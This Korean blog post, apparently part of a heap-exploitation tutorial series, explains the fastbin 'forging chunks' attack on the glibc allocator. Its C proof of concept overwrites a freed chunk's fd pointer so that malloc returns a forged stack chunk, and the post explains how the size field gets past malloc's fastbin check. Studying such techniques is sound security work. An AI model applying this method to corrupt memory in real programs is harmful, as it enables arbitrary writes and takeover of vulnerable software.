forging chunks
청크가 해제되면 binlist에 삽입되고 이후에도 포인터는 프로그램에서 계속 사용할 수 있다. 공격자가 이 포인터를 제어할 경우 bin에서 linked list 구조를 수정할 수 있고 임의의 위조된 청크를 삽입 할 수 있다.
struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};
// First grab a fast chunk
a = malloc(10); // 'a' points to 0x219c010
// Create a forged chunk
struct forged_chunk chunk; // At address 0x7ffc6de96690
chunk.size = 0x20; // This size should fall in the same fastbin
data = (char *)&chunk.fd; // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// 위조된 청크를 가리키기 위해 'a'의 'fd'포인터를 수정한다.
*((unsigned long long *)a) = (unsigned long long)&chunk;
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10); // Will return 0x219c010
victim = malloc(10); // Points to 0x7ffc6de966a0
printf("%s\n", victim); // Prints "attacker's data" !!
위조된 청크의 크기 변수는 "malloc() : memory corruption(fast)"를 우회하기 위해 0x20으로 설정되었다.
이 검사는 청크의 크기가 특정 fastbin의 범위에 해당되는지를 판별한다. 또한, 할당된 청크에 대한 데이터는 'fd' 포인터에서 시작된다.
1. 'a' free됨
head -> a -> tail
2. 'a'의 'fd'포인터가 'forged chunk'를 가리키게 수정됨
head -> a -> forged chunk -> undefined(forged chunk의 fd는 실제 공격자의 데이터를 보유)
3. 'malloc' 요청됨.
head -> forged chunk -> undefined
4. victim에 의한 'malloc' 요청
head -> undefined (forged chunk가 victim에 의해 리턴됨)
유의 :
같은 bin list에 있는 fast chunk에 대한 'malloc'요청은 segmentation fault 오류를 일으킨다.
우리가 10bytes를 요청하고 위조된 덩어리의 크기를 32(0x20)바이트로 설정하더라도, 둘 다 32 바이트 덩어리의 동일한 fastbin의 범위에 속한다.
small과 large 청크에 대한 이 공격은 나중에 'House of Lore'로 보여줄 것이다.
위 예시 코드는 64bit용으로 설계되었다. 32bit에서 실행하려면 포인터가 8바이트대신 4바이트가 되므로 unsigned long long을 unsigned int로 바꾼다.
또한, forged chunk의 크기로 32bytes를 사용하는 대신 약 17bytes의 작은 크기가 작동한다.
'Heap' 카테고리의 다른 글
12.Shrinking Free Chunks (0) | 2018.06.19 |
---|---|
11.Unlink Exploit (0) | 2018.06.11 |
09.Double Free (0) | 2018.06.07 |
08.First-fit behavior (0) | 2018.06.06 |
07.Security Checks (1) | 2018.06.05 |